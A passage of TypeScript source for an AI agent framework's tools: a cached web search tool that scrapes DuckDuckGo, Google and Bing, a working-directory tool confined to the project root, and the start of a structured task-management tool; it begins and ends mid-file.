unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('search: stream ended without final event');\n return final;\n },\n async *executeStream(input, _ctx, opts): AsyncGenerator<ToolStreamEvent<SearchOutput>> {\n if (!input?.query || input.query.trim() === '') {\n throw new ToolValidationError({\n message: 'search: query is required and must be a non-empty string',\n field: 'query',\n });\n }\n\n const num = Math.max(1, Math.min(input.num_results ?? DEFAULT_NUM, MAX_RESULTS));\n const source = input.source ?? 'duckduckgo';\n const skipCache = input.skip_cache ?? false;\n const cacheKey = `${source}:${input.query}`;\n\n // --- Cache hit ---\n if (!skipCache) {\n const entry = cache.get(cacheKey);\n if (entry && Date.now() - entry.timestamp < CACHE_TTL_MS) {\n const results = entry.results.map((r) => ({\n title: r.title,\n url: r.url,\n snippet: r.snippet,\n }));\n yield {\n type: 'log',\n text: `Cache hit for \"${input.query}\" (${source})`,\n data: { source, query: input.query, cached: true },\n };\n yield {\n type: 'partial_output',\n text: `${results.length} cached results from ${entry.source}`,\n data: { count: results.length, cached: true, source: entry.source },\n };\n yield {\n type: 'final',\n output: {\n query: input.query,\n results: results.slice(0, num),\n source: entry.source,\n truncated: results.length >= num,\n cached: true,\n },\n };\n return;\n }\n }\n\n yield {\n type: 'log',\n text: `Querying ${source} for \"${input.query}\"\u2026`,\n data: { source, query: input.query, cached: false },\n };\n\n let rawResults: SearchResult[];\n let effectiveSource: SearchOutput['source'] = source;\n switch (source) {\n case 'duckduckgo':\n rawResults = await duckduckgoSearch(input.query, num, opts.signal);\n break;\n case 'google':\n rawResults = await googleSearch(input.query, num, opts.signal);\n break;\n case 'bing':\n rawResults = await bingSearch(input.query, num, opts.signal);\n break;\n default:\n throw new ToolValidationError({\n message: `search: unknown source \"${source}\"`,\n field: 'source',\n });\n }\n\n let ranked = rankSearchResults(rawResults, input.query);\n if (source !== 'duckduckgo' && shouldFallbackToDuckDuckGo(ranked, input.query)) {\n yield {\n type: 'log',\n text: `${source} returned no relevant static results; falling back to duckduckgo`,\n data: { source, fallback: 'duckduckgo', query: input.query },\n };\n rawResults = await duckduckgoSearch(input.query, num, opts.signal);\n ranked = rankSearchResults(rawResults, input.query);\n effectiveSource = 'duckduckgo';\n }\n\n const finalResults = ranked.slice(0, num);\n\n // --- Store in cache ---\n cache.set(cacheKey, { results: ranked, source: effectiveSource, timestamp: Date.now() });\n pruneCacheEntries();\n\n yield {\n type: 'partial_output',\n text: `${finalResults.length} results from ${effectiveSource}`,\n data: { count: finalResults.length, cached: false, source: effectiveSource },\n };\n yield {\n type: 'final',\n output: {\n query: input.query,\n results: finalResults.map((r) => ({\n title: r.title,\n url: r.url,\n snippet: r.snippet,\n })),\n source: effectiveSource,\n truncated: finalResults.length >= num,\n cached: false,\n },\n };\n },\n};\n\n// ---------------------------------------------------------------------------\n// Cache helpers\n// ---------------------------------------------------------------------------\n\n/** Drop stale entries, then evict oldest insertions to cap retained result data. */\nfunction pruneCacheEntries(): void {\n const cutoff = Date.now() - CACHE_TTL_MS * 2;\n for (const [key, entry] of cache.entries()) {\n if (entry.timestamp < cutoff) cache.delete(key);\n }\n while (cache.size > CACHE_MAX_ENTRIES) {\n const oldestKey = cache.keys().next().value;\n if (oldestKey === undefined) break;\n cache.delete(oldestKey);\n }\n}\n\n/** Exposed for tests so they can reset the module-level cache between cases. */\nexport function __clearSearchCache(): void {\n cache.clear();\n}\n\n// ---------------------------------------------------------------------------\n// Ranking\n// ---------------------------------------------------------------------------\n\nfunction rankSearchResults(results: SearchResult[], query: string): SearchResult[] {\n const seenUrls = new Set<string>();\n const deduped: SearchResult[] = [];\n for (const r of results) {\n const noQuery = r.url.split('?')[0] ?? r.url;\n const normalized = noQuery.split('#')[0] ?? r.url;\n if (!seenUrls.has(normalized) && r.url.startsWith('http')) {\n seenUrls.add(normalized);\n deduped.push(r);\n }\n }\n return scoreResults(deduped, query);\n}\n\nfunction scoreResults(results: SearchResult[], query: string): SearchResult[] {\n const terms = query.toLowerCase().split(/\\s+/).filter((t) => t.length > 0);\n return results\n .map((r) => {\n const titleLower = r.title.toLowerCase();\n const snippetLower = r.snippet.toLowerCase();\n let score = r.score;\n for (const term of terms) {\n if (titleLower.includes(term)) score += 2;\n if (snippetLower.includes(term)) score += 1;\n }\n return { ...r, score };\n })\n .sort((a, b) => b.score - a.score);\n}\n\nfunction shouldFallbackToDuckDuckGo(results: SearchResult[], query: string): boolean {\n if (results.length === 0) return true;\n const terms = query.toLowerCase().split(/\\s+/).filter((t) => t.length >= 3);\n if (terms.length === 0) return false;\n return !results.some((r) => {\n const haystack = `${r.title} ${r.url} ${r.snippet}`.toLowerCase();\n return terms.some((term) => haystack.includes(term));\n });\n}\n\n// ---------------------------------------------------------------------------\n// Search engines\n// ---------------------------------------------------------------------------\n\nasync function duckduckgoSearch(\n query: string,\n num: number,\n signal: AbortSignal,\n): Promise<SearchResult[]> {\n const encoded = encodeURIComponent(query);\n const url = `https://lite.duckduckgo.com/lite/?q=${encoded}&kd=-1&kl=wt-wt`;\n\n try {\n const response = await fetchWithTimeout(url, signal, TIMEOUT_MS);\n const html = await response.text();\n return parseDuckDuckGo(html, num);\n } catch (err) {\n console.log(\n JSON.stringify({ level: 'debug', event: 'search_failed', query, error: toErrorMessage(err) }),\n );\n // Return a sentinel result that survives the dedup filter (which drops\n // non-http URLs). Using a placeholder http URL keeps it visible to the\n // caller so they know the search failed rather than silently getting [].\n return [{ title: 'Search unavailable', url: 'https://duckduckgo.com/unavailable', snippet: 'Could not reach DuckDuckGo', score: 0 }];\n }\n}\n\nfunction takeFrom<T>(iter: Iterable<T>, max: number): T[] {\n const out: T[] = [];\n for (const item of iter) {\n if (out.length >= max) break;\n out.push(item);\n }\n return out;\n}\n\nfunction parseDuckDuckGo(html: string, num: number): SearchResult[] {\n const results: SearchResult[] = [];\n const linkRegex = /<a\\b([^>]*\\bclass=([\"'])[^\"']*\\bresult-link\\b[^\"']*\\2[^>]*)>([\\s\\S]*?)<\\/a>/gi;\n const snippetRegex =\n /<([a-z0-9]+)\\b([^>]*\\bclass=([\"'])[^\"']*\\bresult-snippet\\b[^\"']*\\3[^>]*)>([\\s\\S]*?)<\\/\\1>/gi;\n\n const linkMatches = takeFrom(\n [...html.matchAll(linkRegex)]\n .map((m) => {\n const attrs = expectDefined(m[1]);\n const href = getHtmlAttr(attrs, 'href');\n const title = stripTags(expectDefined(m[3]));\n return href && title ? { url: normalizeDuckDuckGoUrl(href), title } : undefined;\n })\n .filter((m): m is { url: string; title: string } => m !== undefined),\n num,\n );\n\n const snippetMatches = takeFrom(\n [...html.matchAll(snippetRegex)]\n .filter((m) => m[4])\n .map((m) => stripTags(expectDefined(m[4]))),\n num,\n );\n\n for (let i = 0; i < linkMatches.length && i < num; i++) {\n const entry = linkMatches[i];\n if (entry) {\n results.push({\n title: entry.title ?? '',\n url: entry.url ?? '',\n snippet: snippetMatches[i] ?? '',\n score: 1,\n });\n }\n }\n\n return results;\n}\n\nfunction getHtmlAttr(attrs: string, name: string): string | undefined {\n const quoted = new RegExp(`\\\\b${name}\\\\s*=\\\\s*([\"'])(.*?)\\\\1`, 'i').exec(attrs);\n if (quoted?.[2]) return decodeHtmlEntities(quoted[2]);\n const unquoted = new RegExp(`\\\\b${name}\\\\s*=\\\\s*([^\\\\s>]+)`, 'i').exec(attrs);\n return unquoted?.[1] ? decodeHtmlEntities(unquoted[1]) : undefined;\n}\n\nfunction normalizeDuckDuckGoUrl(raw: string): string {\n if (raw.startsWith('//')) return `https:${raw}`;\n if (!raw.startsWith('/')) return raw;\n if (!raw.startsWith('/l/')) return raw;\n try {\n const url = new URL(raw, 'https://duckduckgo.com');\n const uddg = url.searchParams.get('uddg');\n return uddg?.startsWith('http') ? uddg : url.toString();\n } catch {\n return raw;\n }\n}\n\nasync function googleSearch(query: string, num: number, signal: AbortSignal): Promise<SearchResult[]> {\n const encoded = encodeURIComponent(query);\n const url = `https://www.google.com/search?q=${encoded}&hl=en`;\n\n const html = await fetchWithTimeout(url, signal, TIMEOUT_MS)\n .then((r) => r.text())\n .catch(() => '');\n\n return parseGoogleResults(html, num);\n}\n\nfunction parseGoogleResults(html: string, num: number): SearchResult[] {\n const results: SearchResult[] = [];\n const titleRegex = /<h3[^>]*class=\"[^\"]*DKV84\"[^>]*>([^<]+)<\\/h3>/gi;\n const urlRegex = /<cite[^>]*>([^<]+)<\\/cite>/gi;\n const snippetRegex = /<span[^>]*class=\"[^\"]*aXCZ0b[^>]*>([^<]+)<\\/span>/gi;\n\n const titles = takeFrom(\n [...html.matchAll(titleRegex)].filter((m) => m[1]).map((m) => stripTags(expectDefined(m[1]))),\n num,\n );\n\n const urls = takeFrom(\n [...html.matchAll(urlRegex)]\n .filter((m) => m[1])\n .map((m) => stripTags(expectDefined(m[1])).replace(/^\\*(https?:\\/\\/[^\\s]+).*$/, '$1'))\n .filter((u) => u.startsWith('http')),\n num,\n );\n\n const snippets = takeFrom(\n [...html.matchAll(snippetRegex)].filter((m) => m[1]).map((m) => stripTags(expectDefined(m[1]))),\n num,\n );\n\n for (let i = 0; i < Math.min(titles.length, num); i++) {\n results.push({\n title: titles[i] ?? '',\n url: urls[i] ?? '',\n snippet: snippets[i] ?? '',\n score: 1,\n });\n }\n\n return results;\n}\n\nasync function bingSearch(query: string, num: number, signal: AbortSignal): Promise<SearchResult[]> {\n const encoded = encodeURIComponent(query);\n const url = `https://www.bing.com/search?q=${encoded}`;\n\n const html = await fetchWithTimeout(url, signal, TIMEOUT_MS)\n .then((r) => r.text())\n .catch(() => '');\n\n return parseBingResults(html, num);\n}\n\nfunction parseBingResults(html: string, num: number): SearchResult[] {\n const results: SearchResult[] = [];\n const blocks = [...html.matchAll(/<li\\b[^>]*class=([\"'])[^\"']*\\bb_algo\\b[^\"']*\\1[^>]*>([\\s\\S]*?)(?=<li\\b[^>]*class=([\"'])[^\"']*\\bb_algo\\b[^\"']*\\3|<\\/ol>)/gi)]\n .map((m) => expectDefined(m[2]));\n const candidates = blocks.length > 0 ? blocks : [html];\n\n const entries = takeFrom(candidates.flatMap((block) => {\n const titleMatch = /<h2[^>]*>\\s*<a\\b([^>]*)>([\\s\\S]*?)<\\/a>\\s*<\\/h2>/i.exec(block);\n if (!titleMatch) return [];\n const href = getHtmlAttr(expectDefined(titleMatch[1]), 'href');\n const title = stripTags(expectDefined(titleMatch[2]));\n if (!href || !title) return [];\n const snippetMatch = /<p\\b[^>]*class=([\"'])[^\"']*\\b(?:b_paractl|b_lineclamp\\d*)\\b[^\"']*\\1[^>]*>([\\s\\S]*?)<\\/p>/i.exec(block)\n ?? /<p\\b[^>]*>([\\s\\S]*?)<\\/p>/i.exec(block);\n const snippet = snippetMatch ? stripTags(expectDefined(snippetMatch.at(-1))) : '';\n return [{ url: normalizeBingUrl(href), title, snippet, score: 1 }];\n }), num);\n\n for (let i = 0; i < entries.length; i++) {\n const entry = entries[i];\n if (entry) {\n results.push({\n title: entry.title ?? '',\n url: entry.url ?? '',\n snippet: entry.snippet ?? '',\n score: 1,\n });\n }\n }\n\n return results;\n}\n\nfunction normalizeBingUrl(raw: string): string {\n try {\n const url = new URL(raw);\n if (url.hostname.endsWith('bing.com') && url.pathname.startsWith('/ck/')) {\n const encoded = url.searchParams.get('u');\n const decoded = decodeBingTarget(encoded);\n if (decoded?.startsWith('http')) return decoded;\n }\n } catch {\n // Fall through to the raw URL.\n }\n return raw;\n}\n\nfunction decodeBingTarget(encoded: string | null): string | undefined {\n if (!encoded) return undefined;\n const payload = encoded.startsWith('a1') ? encoded.slice(2) : encoded;\n try {\n const padded = payload.replace(/-/g, '+').replace(/_/g, '/').padEnd(Math.ceil(payload.length / 4) * 4, '=');\n return Buffer.from(padded, 'base64').toString('utf8');\n } catch {\n return undefined;\n }\n}\n\n// ---------------------------------------------------------------------------\n// HTTP helper\n// ---------------------------------------------------------------------------\n\nasync function fetchWithTimeout(\n url: string,\n signal: AbortSignal,\n timeoutMs: number,\n): Promise<Response> {\n const controller = new AbortController();\n const timer = setTimeout(() => controller.abort(), timeoutMs);\n\n const fetchSignal = anySignal(signal, controller.signal);\n try {\n // F-05: route through the SSRF-guarded fetch (private-IP blocking, HTTPS,\n // DNS-pinned dispatcher, per-hop redirect re-validation) instead of a bare\n // `fetch` with `redirect: 'follow'`. Search hosts are fixed/trusted, but\n // this closes the residual \"engine 30x \u2192 internal address\" redirect risk.\n const res = await guardedFetch(url, 5, fetchSignal, {\n 'user-agent':\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',\n });\n clearTimeout(timer);\n return res;\n } catch (e) {\n clearTimeout(timer);\n if (e instanceof FetchError) {\n throw e;\n }\n throw new FetchError({\n message: `search: failed to fetch ${url}`,\n status: 0,\n context: { url },\n cause: e,\n });\n }\n}\n\nfunction anySignal(...signals: AbortSignal[]): AbortSignal {\n // Native combinator (Node \u2265 20.3; this repo requires \u2265 22). The previous\n // hand-rolled version registered a non-once 'abort' listener on every\n // input signal and never removed it \u2014 the run-level signal outlives each\n // request, so listeners (and their closures) accumulated one per search\n // call for the life of the agent run.\n return AbortSignal.any(signals);\n}\n\nfunction stripTags(html: string): string {\n return decodeHtmlEntities(html.replace(/<[^>]+>/g, '')).trim();\n}\n\nfunction decodeHtmlEntities(text: string): string {\n return text\n .replace(/&/g, '&')\n .replace(/</g, '<')\n .replace(/>/g, '>')\n .replace(/"/g, '\"')\n .replace(/'/g, \"'\");\n}\n", "import * as fs from 'node:fs/promises';\nimport type { Context } from '@wrongstack/core/agent';\nimport type { Tool } from '@wrongstack/core/types';\nimport { toErrorMessage } from '@wrongstack/core/utils';\n\n// \u2500\u2500 Types \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ninterface SetWorkingDirInput {\n /** Relative or absolute path to navigate to. Must stay within projectRoot. */\n path?: string | undefined;\n}\n\ninterface SetWorkingDirOutput {\n /** The new working directory (absolute path). */\n current: string;\n /** The previous working directory (absolute path). */\n previous?: string | undefined;\n /** Human-readable confirmation message. */\n message?: string | undefined;\n /** Error if the directory doesn't exist or is outside the project root. */\n error?: string | undefined;\n}\n\n// \u2500\u2500 Tool \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport const setWorkingDirTool: Tool<SetWorkingDirInput, SetWorkingDirOutput> = {\n name: 'set_working_dir',\n category: 'Context',\n description:\n 'Change the current working directory for all subsequent file operations. ' +\n 'The new directory must be inside the project root. ' +\n 'Use this to navigate between subdirectories when working on files in different parts of the project.',\n usageHint:\n 'Change the working directory so relative paths in subsequent tool calls resolve from a ' +\n 'different directory. Pass `path` to set a new directory, or omit to query the current one. ' +\n 'The directory must exist and be inside the project root.',\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.read'],\n icon: 'settings',\n timeoutMs: 5_000,\n inputSchema: {\n type: 'object',\n properties: {\n path: {\n type: 'string',\n description:\n 'Directory to navigate to. Can be relative (to projectRoot) or absolute. ' +\n 'If omitted, returns the current working directory without changing it.',\n },\n },\n },\n async execute(input, ctx: Context, _opts: { signal: AbortSignal }) {\n if (!input.path) {\n return {\n current: ctx.workingDir,\n message: `Current working directory is ${ctx.workingDir}`,\n };\n }\n\n const previous = ctx.workingDir;\n\n // Validate and set the new working directory\n let resolved: string;\n try {\n resolved = ctx.setWorkingDir(input.path);\n } catch (err) {\n return {\n current: ctx.workingDir,\n error: toErrorMessage(err),\n };\n }\n\n // Verify the directory actually exists on disk\n try {\n await fs.access(resolved);\n } catch {\n // Rollback \u2014 setWorkingDir validated containment but the dir may not exist\n // Restore the previous directory and report the error\n try {\n ctx.setWorkingDir(previous);\n } catch {\n // If rollback fails, the workingDir is in an inconsistent state.\n // This shouldn't happen since `previous` was valid before.\n }\n return {\n current: ctx.workingDir,\n error: `Directory does not exist: ${resolved}`,\n };\n }\n\n return {\n current: resolved,\n previous,\n message: `Working directory changed to ${resolved}`,\n };\n },\n};\n", "import type { TaskStatus } from '@wrongstack/core/types';\nimport type { TaskFile } from '@wrongstack/core/storage';\nimport {\n computeTaskItemProgress,\n formatTaskList,\n type TaskItem,\n} from '@wrongstack/core/utils';\nimport { mutateTasks } from '@wrongstack/core/storage';\nimport {\n addPlanItem,\n mutatePlan,\n formatPlan,\n} from '@wrongstack/core/storage';\nimport { randomUUID } from 'node:crypto';\nimport type { Tool } from '@wrongstack/core/types';\nimport { mirrorSessionTasksToKanban } from './session-kanban.js';\n\n// ---------------------------------------------------------------------------\n// Task tool \u2014 structured work items with dependencies, types, and priorities.\n// Unlike `todo` (flat, session-scoped), tasks support:\n// - Dependencies (task can depend on other tasks)\n// - Type classification (feature, bugfix, refactor, docs, test, chore)\n// - Priority ranking (critical, high, medium, low)\n// - Assignment (which agent/subagent)\n// - Estimates (hours)\n//\n// Like `todo`, the list is fully replaced on every call. Session-persistent:\n// stored at `ctx.meta['task.path']` and isolated to this session \u2014 other sessions\n// have their own separate task lists.\n// ---------------------------------------------------------------------------\n\n// ---------------------------------------------------------------------------\n// Helpers\n// ---------------------------------------------------------------------------\n\n/** Find a task by 1-based index, exact id, or case-insensitive title substring. */\nfunction findTaskIndex(tasks: TaskItem[], query: string): number {\n const asNum = Number.parseInt(query, 10);\n if (!Number.isNaN(asNum)) {\n const idx = asNum - 1;\n if (tasks[idx]) return idx;\n }\n const byId = tasks.findIndex((t) => t.id === query);\n if (byId >= 0) return byId;\n const lower = query.toLowerCase();\n return tasks.findIndex((t) => t.title.toLowerCase().includes(lower));\n}\n\n// ---------------------------------------------------------------------------\n// Tool\n// ---------------------------------------------------------------------------\n\ninterface TaskInput {\n /** Replace: set new task list. Add: append a task. Status: update task status. Promote: convert a task to todo items. */\n action: 'replace' | 'add' | 'status' | 'show' | 'promote' | 'planify';\n /** Full task list for action=replace. */\n tasks?: TaskItem[] | undefined;\n /** Single task for action=add. id, createdAt, updatedAt are auto-generated. */\n task?: Omit<TaskItem, 'id' | 'createdAt' | 'updatedAt'> | undefined;\n /** Task id for action=status or target for action=promote. */\n id?: string | undefined;\n /** New status for action=status. */\n status?: TaskStatus | undefined;\n /** Target task (id, 1-based index, or title substring) for action=promote. */\n target?: string | undefined;\n /** Optional subtask titles for action=promote. */\n subtasks?: string[] | undefined;\n /**\n * Storage scope. Default (unset): uses the session-scoped path \u2014 isolated to this\n * session, survives resume within the same session.\n * `scope: 'project'`: uses a shared project-level path, visible to all sessions\n * for this project. Useful for a shared backlog that outlasts any single session.\n */\n scope?: 'session' | 'project';\n}\n\ninterface TaskOutput {\n ok: boolean;\n message: string;\n count: number;\n completed: number;\n inProgress: number;\n}\n\nexport const taskTool: Tool<TaskInput, TaskOutput> = {\n name: 'task',\n category: 'Session',\n description:\n 'Manage session-persistent structured work items with dependencies, types, and priorities. ' +\n 'Unlike `todo` (flat, tactical), `task` supports typed work (feature/bugfix/refactor/etc.), ' +\n 'dependencies between items, priority ranking, and agent assignment. ' +\n 'Tasks are written to disk and survive session resumes. By default they are isolated to this session; ' +\n 'use `scope: \"project\"` to store tasks in a shared project-level file visible to all sessions.',\n usageHint:\n 'USE FOR STRUCTURED WORK:\\n' +\n '- `action: \"replace\"` \u2014 set the complete task list (tasks ordered by priority)\\n' +\n '- `action: \"add\"` \u2014 append a single task\\n' +\n '- `action: \"status\"` \u2014 update a task\\'s status (e.g. pending\u2192in_progress, in_progress\u2192completed)\\n' +\n '- `action: \"show\"` \u2014 view current tasks without changing them\\n' +\n '- `action: \"promote\"` \u2014 convert a task into actionable todo items via `target` (id|index|substring)\\n' +\n '- `action: \"planify\"` \u2014 promote a task to a plan item (strategic level) via `target` (id|index|substring)\\n\\n' +\n 'Task fields:\\n' +\n '- `dependsOn`: list of task IDs this one waits for\\n' +\n '- `type`: \"feature\" | \"bugfix\" | \"refactor\" | \"docs\" | \"test\" | \"chore\"\\n' +\n '- `priority`: \"critical\" | \"high\" | \"medium\" | \"low\"\\n' +\n '- `assignee`: agent/subagent name (e.g. \"bug-hunter\", \"refactor-planner\")\\n' +\n '- `estimateHours`: rough time estimate\\n' +\n '- `scope`: \"session\" (default, isolated) or \"project\" (shared across sessions)',\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write'],\n icon: 'task',\n timeoutMs: 5_000,\n inputSchema: {\n type: 'object',\n properties: {\n action: {\n type: 'string',\n enum: ['replace', 'add', 'status', 'show', 'promote', 'planify'],\n description: 'replace = set full list, add = append, status = update task status, show = view only, promote = convert task to todos, planify = convert task to plan item.',\n },\n tasks: {\n type: 'array',\n items: {\n type: 'object',\n properties: {\n id: { type: 'string', description: 'Unique id (e.g. \"t1\", \"auth-flow\").' },\n title: { type: 'string', description: 'Short title.' },\n description: { type: 'string', description: 'Optional details.' },\n type: { type: 'string', enum: ['feature', 'bugfix', 'refactor', 'docs', 'test', 'chore'] },\n priority: { type: 'string', enum: ['critical', 'high', 'medium', 'low'] },\n status: { type: 'string', enum: ['pending', 'in_progress', 'blocked', 'failed', 'review', 'completed'] },\n dependsOn: {\n type: 'array',\n items: { type: 'string' },\n description: 'IDs of tasks this one depends on.',\n },\n assignee: { type: 'string', description: 'Agent/subagent assigned.' },\n estimateHours: { type: 'number', description: 'Estimated hours.' },\n tags: { type: 'array', items: { type: 'string' }, description: 'Optional tags.' },\n createdAt: { type: 'string' },\n updatedAt: { type: 'string' },\n },\n required: ['id', 'title', 'type', 'priority', 'status'],\n },\n description: 'Complete task list. Replaces previous list entirely.',\n },\n task: {\n type: 'object',\n properties: {\n title: { type: 'string' },\n description: { type: 'string' },\n type: { type: 'string', enum: ['feature', 'bugfix', 'refactor', 'docs', 'test', 'chore'] },\n priority: { type: 'string', enum: ['critical', 'high', 'medium', 'low'] },\n status: { type: 'string', enum: ['pending', 'in_progress', 'blocked', 'failed', 'review', 'completed'] },\n dependsOn: { type: 'array', items: { type: 'string' } },\n assignee: { type: 'string' },\n estimateHours: { type: 'number' },\n tags: { type: 'array', items: { type: 'string' } },\n },\n required: ['title', 'type', 'priority'],\n description: 'Single task to append (id/createdAt/updatedAt auto-generated).',\n },\n id: { type: 'string', description: 'Task id for action=status or target for action=promote.' },\n status: {\n type: 'string',\n enum: ['pending', 'in_progress', 'blocked', 'failed', 'review', 'completed'],\n description: 'New status for action=status.',\n },\n target: {\n type: 'string',\n description: 'Target task identifier (id, 1-based index, or title substring) for action=promote.',\n },\n subtasks: {\n type: 'array',\n items: { type: 'string' },\n description: 'Optional subtask titles for action=promote. Each becomes a pending todo.',\n },\n scope: {\n type: 'string',\n enum: ['session', 'project'],\n description: 'Storage scope: \"session\" (default, isolated to this session) or \"project\" (shared across all sessions for this project).',\n },\n },\n required: ['action'],\n },\n async execute(input, ctx) {\n const sessionTaskPath = (ctx.meta as Record<string, unknown>)['task.path'] as string | undefined;\n let taskPath: string | undefined;\n\n if (input.scope === 'project') {\n // Project-level: derive from the session path by replacing the filename with\n // 'backlog.tasks.json' so all sessions share the same file.\n if (typeof sessionTaskPath === 'string') {\n // Handle BOTH separators \u2014 a Windows-native path uses '\\\\'; a '/'-only\n // search would miss it and fall back to a bare relative path written\n // into the process CWD instead of the sessions dir.\n const lastSep = Math.max(sessionTaskPath.lastIndexOf('/'), sessionTaskPath.lastIndexOf('\\\\'));\n taskPath = lastSep >= 0\n ? sessionTaskPath.slice(0, lastSep + 1) + 'backlog.tasks.json'\n : 'backlog.tasks.json';\n }\n } else {\n taskPath = sessionTaskPath;\n }\n\n if (typeof taskPath !== 'string' || !taskPath) {\n return { ok: false, message: 'Task storage path not configured.', count: 0, completed: 0, inProgress: 0 };\n }\n const sessionId = ctx.session?.id ?? 'unknown';\n\n // Early-return result for validation errors that happen before or\n // during the critical section. The lock callback sets this instead of\n // mutating the file, and we return it after the lock releases.\n let early: TaskOutput | null = null;\n // Track promote output for the custom message\n const promoteMeta = { count: 0, title: '' };\n // Track planify data \u2014 written to plan file after the task lock releases\n const planifyMeta = { title: '', details: '' };\n let didPlanify = false;\n // collect todos to replace \u2014 called AFTER mutateTasks so rollback is possible\n type TodosReplacement = Array<{ id: string; content: string; status: 'pending' | 'in_progress' | 'completed'; activeForm?: string; promotedFromTask?: string }>;\n let todosToReplace: TodosReplacement | null = null;\n\n let file: TaskFile;\n try {\n file = await mutateTasks(taskPath, sessionId, async (f: TaskFile) => {\n switch (input.action) {\n case 'show':\n // read-only \u2014 no mutation, just return current state\n break;\n\n case 'replace': {\n if (!Array.isArray(input.tasks)) {\n early = { ok: false, message: 'action=replace requires `tasks` array.', count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n // Validate id uniqueness: findTaskIndex / status resolve a task by\n // the FIRST id match, so a duplicate id silently becomes unaddressable.\n const newIds = new Set(input.tasks.map((t) => t.id));\n if (newIds.size !== input.tasks.length) {\n const seen = new Set<string>();\n const dupes = [...new Set(input.tasks.map((t) => t.id).filter((id) => {\n if (seen.has(id)) return true;\n seen.add(id);\n return false;\n }))];\n early = {\n ok: false,\n message: `action=replace has duplicate task IDs: ${dupes.join(', ')}. Each task id must be unique.`,\n count: 0,\n completed: 0,\n inProgress: 0,\n };\n return f;\n }\n // Validate dependsOn references: must point to IDs within the new batch\n for (const t of input.tasks) {\n if (t.dependsOn && t.dependsOn.length > 0) {\n const missing = t.dependsOn.filter((d) => !newIds.has(d));\n if (missing.length > 0) {\n early = {\n ok: false,\n message: `dependsOn validation failed: task \"${t.id}\" references unknown IDs: ${missing.join(', ')}`,\n count: 0,\n completed: 0,\n inProgress: 0,\n };\n return f;\n }\n }\n }\n const now = new Date().toISOString();\n f.tasks = input.tasks.map((t) => ({\n ...t,\n createdAt: t.createdAt || now,\n updatedAt: now,\n }));\n break;\n }\n\n case 'add': {\n const t = input.task;\n if (!t?.title) {\n early = { ok: false, message: 'action=add requires `task` with at least `title`.', count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n // Validate dependsOn: all referenced IDs must exist in the current task list\n if (t.dependsOn && t.dependsOn.length > 0) {\n const existingIds = new Set(f.tasks.map((e: TaskItem) => e.id));\n const missing = t.dependsOn.filter((d) => !existingIds.has(d));\n if (missing.length > 0) {\n early = {\n ok: false,\n message: `dependsOn validation failed: unknown task IDs: ${missing.join(', ')}`,\n count: 0,\n completed: 0,\n inProgress: 0,\n };\n return f;\n }\n }\n const now = new Date().toISOString();\n const newTask: TaskItem = {\n id: `task_${Date.now()}_${randomUUID().slice(0, 8)}`,\n title: t.title,\n description: t.description,\n type: t.type || 'feature',\n priority: t.priority || 'medium',\n status: t.status || 'pending',\n dependsOn: t.dependsOn,\n assignee: t.assignee,\n estimateHours: t.estimateHours,\n tags: t.tags,\n createdAt: now,\n updatedAt: now,\n };\n f.tasks.push(newTask);\n break;\n }\n\n case 'status': {\n if (!input.id || !input.status) {\n early = { ok: false, message: 'action=status requires `id` and `status`.', count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n const task = f.tasks.find((t: TaskItem) => t.id === input.id);\n if (!task) {\n early = { ok: false, message: `Task \"${input.id}\" not found.`, count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n task.status = input.status;\n task.updatedAt = new Date().toISOString();\n break;\n }\n\n case 'promote': {\n const target = input.target?.trim();\n if (!target) {\n early = { ok: false, message: 'action=promote requires `target` (task id, index, or title substring).', count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n const idx = findTaskIndex(f.tasks, target);\n if (idx === -1) {\n early = { ok: false, message: `No task matched \"${target}\".`, count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n const match = f.tasks[idx];\n /* v8 ignore next 4 -- findTaskIndex returned a valid in-range idx, so match is always defined; defensive. */\n if (!match) {\n early = { ok: false, message: `No task matched \"${target}\".`, count: 0, completed: 0, inProgress: 0 };\n return f;\n }\n\n // Mark task in_progress\n if (match.status !== 'completed' && match.status !== 'failed') {\n match.status = 'in_progress';\n match.updatedAt = new Date().toISOString();\n }\n\n // Build todo items\n const todos: Array<{ id: string; content: string; status: 'pending' | 'in_progress' | 'completed'; activeForm?: string; promotedFromTask?: string }> = [];\n const ts = Date.now();\n todos.push({\n id: `todo_${ts}_task`,\n content: match.title,\n status: 'in_progress',\n activeForm: match.title,\n promotedFromTask: match.id,\n });\n\n if (match.description) {\n todos.push({\n id: `todo_${ts}_${randomUUID().slice(0, 6)}`,\n content: match.description.slice(0, 200),\n status: 'pending',\n promotedFromTask: match.id,\n });\n }\n\n if (input.subtasks && input.subtasks.length > 0) {\n for (const st of input.subtasks) {\n todos.push({\n id: `todo_${ts}_${randomUUID().slice(0, 6)}`,\n content: st,\n status: 'pending',\n promotedFromTask: match.id,\n });\n }\n }\n\n todosToReplace = todos;\n promoteMeta.count = todos.length;\n promoteMeta.title = match.title;\n break;\n }\n\n case 'planify': {\n const target = 